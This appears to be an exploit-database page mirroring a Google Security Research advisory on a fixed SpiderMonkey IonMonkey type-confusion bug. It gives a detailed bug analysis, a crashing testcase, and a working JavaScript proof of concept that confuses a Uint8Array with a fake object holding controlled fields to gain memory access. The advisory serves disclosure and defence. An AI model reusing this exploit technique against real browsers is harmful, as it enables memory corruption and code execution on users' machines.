Menu

Improved exploit search engine. Try it out

"SpiderMonkey - IonMonkey Compiled Code Fails to Update Inferred Property Types (Type Confusion)"

Author

"Google Security Research"

Platform

multiple

Release date

2019-04-03

Release Date Title Type Platform Author
2019-06-18 "Sahi pro 8.x - Cross-Site Scripting" webapps multiple "Goutham Madhwaraj"
2019-06-18 "Sahi pro 8.x - SQL Injection" webapps multiple "Goutham Madhwaraj"
2019-06-18 "Sahi pro 7.x/8.x - Directory Traversal" webapps multiple "Goutham Madhwaraj"
2019-06-17 "RedwoodHQ 2.5.5 - Authentication Bypass" webapps multiple EthicalHCOP
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'icalrecur_add_bydayrules' Stack-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'parser_get_next_char' Heap-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'icalmemorystrdupanddequote' Heap-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - Type Confusion" dos multiple "X41 D-Sec GmbH"
2019-06-05 "Google Chrome 73.0.3683.103 - 'WasmMemoryObject::Grow' Use-After-Free" dos multiple "Google Security Research"
2019-05-28 "Phraseanet < 4.0.7 - Cross-Site Scripting" webapps multiple "Krzysztof Szulski"
2019-05-27 "Deltek Maconomy 2.2.5 - Local File Inclusion" webapps multiple JameelNabbo
2019-05-29 "Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation" dos multiple "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Leaks JS_OPTIMIZED_OUT Magic Value to Script" dos multiple "Google Security Research"
2019-05-22 "Zoho ManageEngine ServiceDesk Plus 9.3 - Cross-Site Scripting" webapps multiple Vingroup
2019-05-22 "Zoho ManageEngine ServiceDesk Plus < 10.5 - Improper Access Restrictions" webapps multiple Vingroup
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - Loop-Invariant Code Motion (LICM) in DFG JIT Leaves Stack Variable Uninitialized" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 DFG JIT Compiler - 'HasIndexedProperty' Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Deluge 1.3.15 - 'URL' Denial of Service (PoC)" dos multiple "Victor Mondragón"
2019-05-13 "Google Chrome V8 - Turbofan JSCallReducer::ReduceArrayIndexOfIncludes Out-of-Bounds Read/Write" dos multiple "Google Security Research"
2019-05-10 "CyberArk Enterprise Password Vault 10.7 - XML External Entity Injection" webapps multiple "Marcelo Toran"
2019-05-10 "TheHive Project Cortex < 1.15.2 - Server-Side Request Forgery" webapps multiple "Alexandre Basquin"
2019-05-07 "Prinect Archive System 2015 Release 2.6 - Cross-Site Scripting" webapps multiple alt3kx
2019-05-08 "Oracle Weblogic Server - 'AsyncResponseService' Deserialization Remote Code Execution (Metasploit)" remote multiple Metasploit
2019-05-08 "PostgreSQL 9.3 - COPY FROM PROGRAM Command Execution (Metasploit)" remote multiple Metasploit
2019-05-06 "ReadyAPI 2.5.0 / 2.6.0 - Remote Code Execution" webapps multiple "Gilson Camelo"
2019-05-03 "Zotonic < 0.47.0 mod_admin - Cross-Site Scripting" webapps multiple "Ramòn Janssen"
2019-04-30 "Domoticz 4.10577 - Unauthenticated Remote Command Execution" webapps multiple "Fabio Carretto"
Release Date Title Type Platform Author
2019-06-20 "Linux - Use-After-Free via race Between modify_ldt() and #BR Exception" dos linux "Google Security Research"
2019-06-05 "Google Chrome 73.0.3683.103 - 'WasmMemoryObject::Grow' Use-After-Free" dos multiple "Google Security Research"
2019-05-29 "Qualcomm Android - Kernel Use-After-Free via Incorrect set_page_dirty() in KGSL" dos android "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation" dos multiple "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Leaks JS_OPTIMIZED_OUT Magic Value to Script" dos multiple "Google Security Research"
2019-05-23 "Microsoft Windows 10 1809 - 'CmKeyBodyRemapToVirtualForEnum' Arbitrary Key Enumeration Privilege Escalation" local windows "Google Security Research"
2019-05-23 "Visual Voicemail for iPhone - IMAP NAMESPACE Processing Use-After-Free" dos ios "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - Loop-Invariant Code Motion (LICM) in DFG JIT Leaves Stack Variable Uninitialized" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 DFG JIT Compiler - 'HasIndexedProperty' Use-After-Free" dos multiple "Google Security Research"
2019-05-13 "Google Chrome V8 - Turbofan JSCallReducer::ReduceArrayIndexOfIncludes Out-of-Bounds Read/Write" dos multiple "Google Security Research"
2019-04-30 "Linux - Missing Locking Between ELF coredump code and userfaultfd VMA Modification" dos linux "Google Security Research"
2019-04-26 "systemd - DynamicUser can Create setuid Binaries when Assisted by Another Process" dos linux "Google Security Research"
2019-04-24 "Google Chrome 72.0.3626.121 / 74.0.3725.0 - 'NewFixedDoubleArray' Integer Overflow" remote multiple "Google Security Research"
2019-04-24 "VirtualBox 6.0.4 r128413 - COM RPC Interface Code Injection Host Privilege Escalation" local windows "Google Security Research"
2019-04-23 "Linux - 'page->_refcount' Overflow via FUSE" dos linux "Google Security Research"
2019-04-23 "Linux - Missing Locking in Siemens R3964 Line Discipline Race Condition" dos linux "Google Security Research"
2019-04-23 "systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit" dos linux "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in GlyphIterator::setCurrGlyphID" dos multiple "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in sc_FindExtrema4" dos multiple "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV PostLuafvPostReadWrite SECTION_OBJECT_POINTERS Race Condition Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cache Manager Poisoning Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV NtSetCachedSigningLevel Device Guard Bypass" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV LuafvCopyShortName Arbitrary Short Name Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cross Process Handle Duplication Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization MAXIMUM_ACCESS DesiredAccess Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 / 1709 - CSRSS SxSSrv Cached Manifest Privilege Escalation" local windows "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion" remote multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46646/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46646/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46646/41085/spidermonkey-ionmonkey-compiled-code-fails-to-update-inferred-property-types-type-confusion/download/", "exploit_id": "46646", "exploit_description": "\"SpiderMonkey - IonMonkey Compiled Code Fails to Update Inferred Property Types (Type Confusion)\"", "exploit_date": "2019-04-03", "exploit_author": "\"Google Security Research\"", "exploit_type": "dos", "exploit_platform": "multiple", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
A bug in IonMonkey leaves type inference information inconsistent, which in turn allows the compilation of JITed functions that cause type confusions between arbitrary objects.

# Prerequisites

In Spidermonkey, every JavaScript objects is an instance of the JSObject class [1]. Plain JavaScript objects (e.g. ones created through an object literal) are typically instances of the NativeObject [2] class. A NativeObject is basically:

* An ObjectGroup [3] which stores things like the prototype and type information for properties (see below)
* The Shape [4] of the object which indicates the location of properties. A Shape could e.g. tell that property .p is stored in the 2nd property slot
* Property storage [5]: a dynamically sized array in which the property values are stored. The Shapes provide indices into this array
* Element storage [6]: a dynamically sized array in which elements (properties with an integer key) are stored

Spidermonky makes use of type inference to perform various optimizations in the JIT. Specifically, type inference is used to predict the types of object properties and then omit runtime type checks for them. Such a type inference system for property values is only safe as long as every property store to an object validates that the type of the new value is consistent with the existing type information or, if not, updates ("widens") the inferred type. In Spidermonkey's interpreter this is done in e.g. AddOrChangeProperty [7]. In the JIT compiler (IonMonkey), this is done through "type barriers" [8]: small runtime type checks that ensure the written value is consistent with what is stored as inferred type and otherwise bail out from the JITed code.

# Crashing Testcase

The following program, found through fuzzing and then manually modified, crashes Spidermonkey with an assertion that verifies that type inference data is consistent with the actual values stored as properties:

    function hax(o, changeProto) {
        if (changeProto) {
            o.p = 42;
            o.__proto__ = {};
        }
        o.p = 13.37;
        return o;
    }

    for (let i = 0; i < 1000; i++) {
        hax({}, false);
    }

    for (let i = 0; i < 10000; i++) {
        let o = hax({}, true);
        eval('o.p'); 			// Crash here
    }


Crashes in debug builds of Spidermonkey with:

    Assertion failure: [infer failure] Missing type in object [Object * 0x327f2ca0aca0] p: float, at js/src/vm/TypeInference.cpp:265
    Hit MOZ_CRASH() at js/src/vm/TypeInference.cpp:266

This assertion expresses that type inference data is inconsistent for the property .p as the type "float" is not in the list of possible types but the property currently holds a float value.

# Bug Analysis

In essence it appears that IonMonkey fails to realize that the ObjectGroup of the object `o` can change throughout the function (specifically during the prototype change) and thus incorrectly omits a type barrier for the second property assignment, leading to inconsistent type inference information after the property assignment.

In detail, the following appears to be happening:

The first loop runs and allocates NativeObjects with ObjectGroup OG1 and Shape S1. After some iterations the function hax is JIT compiled. At that point, the compiled code will expect to be called with an object of ObjectGroup OG1 as input. OG1 will have inferred types {.p: [float]} because the body of the if condition was never executed and so property .p was never set to a non-float value.

Then the second loop starts running, which will allocate objects using a new ObjectGroup, OG2 (I'm not exactly sure why it's a new one here, most likely some kind of heuristic) but still using Shape S1. As such, the compiled code for hax will be invalidated [9]. Then, during the first invocation of hax with changeProto == true, a new prototype will be set for o, which will

1. cause a new ObjectGroup to be allocated for O (because prototypes are stored in the object group) and
2. cause the previous object group (OG2) to discard any inferred types and set the state of inferred properties to unknown [10]. An ObjectGroup with unknownProperties is then never again used for type inference of properties [11].

At a later point in the loop, the function is recompiled, but this time it is compiled to expect an object of ObjectGroup OG1 or OG2 as input. The JIT compiled code for hax will now look something like this (pseudocode):

    // Verify that the input is an object with ObjectGroup OG1 or OG2 (actually
    // this check is performed before entering the JITed code)
    VerifyInputTypes

    if (changeProto) {
        // A SetProperty [12] inline cache [13] which will perform the actual
        // property store and speed up subsequent property stores on objects of
        // the same Shape and Group. Since a type barrier is required, the Group
        // is used as an additional index into the cache so that both Shape and
        // Group must match, in which case no inferred types could be
        // accidentially invalidated.
        SetPropertyICWithTypeBarrier o.p 42

        Call ChangePrototype(o, {})
    }

    // Another inline cache to store property .p again, but this time without a
    // type barrier. As such, only the Shape will be checked and not the Group.
    SetPropertyIC o.p 13.37

    Return o

After compilation finishes, the following happens in the first invocation of the JITed code:

* The function is called with an object of ObjectGroup OG2 and Shape S1
* The property .p is stored on the object in the first SetProperty cache. This does not update any inferred type as OG2 does not use inferred types
* The prototype of o is changed
    * This again causes a new ObjectGroup, OG3, to be allocated
    * When creating the new group, property types are inferred from the current object (this is possible because it is the only object using the new group) [14]
    * As such, o now has an ObjectGroup OG3 with inferred types {.p: [int]}
* The second propertystore cache runs into a cache miss (because it is empty at this point)
    * Execution transfers to the slow path (a runtime property store)
    * This will store the property and update the inferred types of OG3 to {.p: [int, float]}
    * It will then update the inline cache to now directly handle property stores to objects with shape S1
    * Because this SetPropertyIC is not marked as requiring a type barrier, the cache only guards on the Shape, not the Group [15]

Then, in the second invocation of the JITed code:

* As above, a new ObjectGroup OG4 is allocated for o with inferred types {.p: [int]} when changing the prototype
* The second SetPropertyIC now runs into a cache hit (because it only looks at the Shape which is still S1)
* It then directly writes the property value into the property slot without updating inferred types

As such, after the second invocation the returned object is one whose ObjectGroup (OG4) states that the property .p must be an integer but it really is a float. At this time, any validation of inferred types will crash with an assertion as happens during the runtime property lookup of .p in the call to eval().

The core issue here is that the second property store was marked as not requiring a type barrier. To understand why, it is necessary to look into the logic determining whether a property write should be guarded with a type barrier, implemented in jit::PropertyWriteNeedsTypeBarrier [16]. The logic of that function is roughly:

1. Iterate over the set of possible object types, in this case that is OG1 and OG2
2. For every group, check whether storing a value of type T (in this case float) would violate inferred property types
	- In this case, OG1 already has the correct type for property .p, so no violation there
	- And OG2 does not even track property types, so again no violation [17]
3. If no violations were found, no type barrier is needed

The problem is that PropertyWriteNeedsTypeBarrier operates on the possible ObjectGroups of the input object at the beginning of the function which are not necessarily the same as at the time the property store is performed. As such, it fails to realize that the input object can actually have an ObjectGroup (in this case OG4) that has inferred property types that would be violated by the property write. It then falsely determine that a type barrier is not needed, leading to the scenario described above.

# Exploitation

Exploitation of this type of vulnerability comes down to JIT compiling a function in such a way that the compiler makes use of type inference data to omit runtime type checks. Afterwards a type confusion between arbitrary objects can be achieved.

The following code demonstrates this by setting the inferred type to Uint8Array but actually storing an object with controlled property values (overlapping with internal fields of a Uint8Array) in the property. It then compiles code (the function pwn) to omit type checks on the property value based on its inferred types, thus treating the custom object as a Uint8Array and crashing when reading from 0x414141414141:

    let ab = new ArrayBuffer(1024);

    function hax(o, changeProto) {
        // The argument type for |o| will be object of group OG1 or OG2. OG1 will
        // have the inferred types {.p: [Y]}. OG2 on the other hand will be an
        // ObjectGroup with unknown property types due to the prototype change. As
        // such, OG2 will never have any inferred property types.

        // Ultimately, this code will confuse types X and Y with each other.
        // Type X: a Uint8Array
        let x = new Uint8Array(1024);
        // Type Y: a unboxed object looking a bit like a Uint8Array but with controlled data... :)
        let y = {slots: 13.37, elements: 13.38, buffer: ab, length: 13.39, byteOffset: 13.40, data: 3.54484805889626e-310};

        if (changeProto) {
            o.p = x;

            // This prototype change will cause a new ObjectGroup, OG_N, to be
            // allocated for o every time it is executed (because the prototype is
            // stored in the ObjectGroup). During creation of the new ObjectGroup,
            // the current property values will be used to infer property types. As
            // such, OG_N will have the inferred types {.p: [X]}.
            o.__proto__ = {};
        }

        // This property write was not marked as requiring type barriers to
        // validate the consistency of inferred property types. The reason is that
        // for OG1, the property type is already correct and OG2 does not track
        // property types at all. However, IonMonkey failed to realize that the
        // ObjectGroup of o could have changed in between to a new ObjectGroup that
        // has different inferred property types. As such, the type barrier
        // omission here is unsafe.
        //
        // In the second invocation, the inline cache for this property store will
        // then be a hit (because the IC only uses the Shape to index the cache,
        // not the Group). As such, the inferred types associated with the
        // ObjectGroup for o will not be updated and will be left inconsistent.
        o.p = y;

        return o;
    }

    function pwn(o, trigger) {
        if (trigger) {
            // Is on a code path that wasn't executed in the interpreter so that
            // IonMonkey solely relies on type inference instead of type profiles
            // from the interpreter (which would show the real type).
            return o.p[0];
        } else {
            return 42;
        }
    }

    // "Teach" the function hax that it should accept objects with ObjectGroup OG1.
    // This is required as IonMonkey needs to have at least one "known" type when
    // determining whether it can omit type barriers for property writes:
    // https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.cpp#L6282
    for (let i = 0; i < 10000; i++) {
        hax({}, false);
    }

    // Compile hax to trigger the bug in such a way that an object will be created
    // whose ObjectGroup indicates type X for property .p but whose real type will
    // be Y, where both X and Y can be arbitrarily chosen.
    let evilObj;
    for (let i = 0; i < 10000; i++) {
        evilObj = hax({}, true);

        // Not sure why this is required here, it maybe prevents JITing of the main
        // script or similar...
        eval('evilObj.p');
    }

    // JIT compile the second function and make it rely on the (incorrect) type
    // inference data to omit runtime type checks.
    for (let i = 0; i < 100000; i++) {
        pwn(evilObj, false);
    }

    // Finally trigger a type confusion.
    pwn(evilObj, true);

Note, this way of exploiting the issue requires UnboxedObjects [18] which have recently been disabled by default [19]. However, the bug itself does not require UnboxedObjects and can be exploited in other ways. UnboxedObjects are just the most (?) convenient way.

[1] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/JSObject.h#L54
[2] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.h#L463
[3] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/ObjectGroup.h#L87
[4] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/Shape.h#L37
[5] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.h#L466
[6] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.h#L469
[7] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.cpp#L1448
[8] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.h#L10254
[9] https://blog.mozilla.org/javascript/2012/10/15/the-ins-and-outs-of-invalidation/
[10] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/JSObject.cpp#L2219
[11] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/TypeInference.cpp#L2946
[12] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/IonIC.h#L280
[13] https://www.mgaudet.ca/technical/2018/6/5/an-inline-cache-isnt-just-a-cache
[14] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.cpp#L1259
[15] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/CacheIR.cpp#L3544
[16] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.cpp#L6268
[17] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.cpp#L6293
[18] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.h#L187
[19] https://github.com/mozilla/gecko-dev/commit/26965039e60a00b3600ce2e6a559106e4a3a30ca

 Bugzilla entry: https://bugzilla.mozilla.org/show_bug.cgi?id=1538120


 Fixed in https://www.mozilla.org/en-US/security/advisories/mfsa2019-09/#CVE-2019-9813 (bug collision with a pwn2own entry)

The issue was fixed in two ways:

1. in https://github.com/mozilla/gecko-dev/commit/0ff528029590e051baa60265b3af92a632a7e850 the code that adds inferred properties after a prototype change (step `* When creating the new group, property types are inferred from the current object` above) was changed to no longer create inferred property types when coming from Groups marked as having unknownProperties. As such, in this case the new ObjectGroups created from OG2 would now all have unknownProperties as well.

2. in https://github.com/mozilla/gecko-dev/commit/f8ce40d176067800e5dda013fb4d8ff9e91d9a88 the function responsible for determining whether write barriers can be omitted (jit::PropertyWriteNeedsTypeBarrier) was modified to always emit write barriers if one of the input groups has unknownProperties.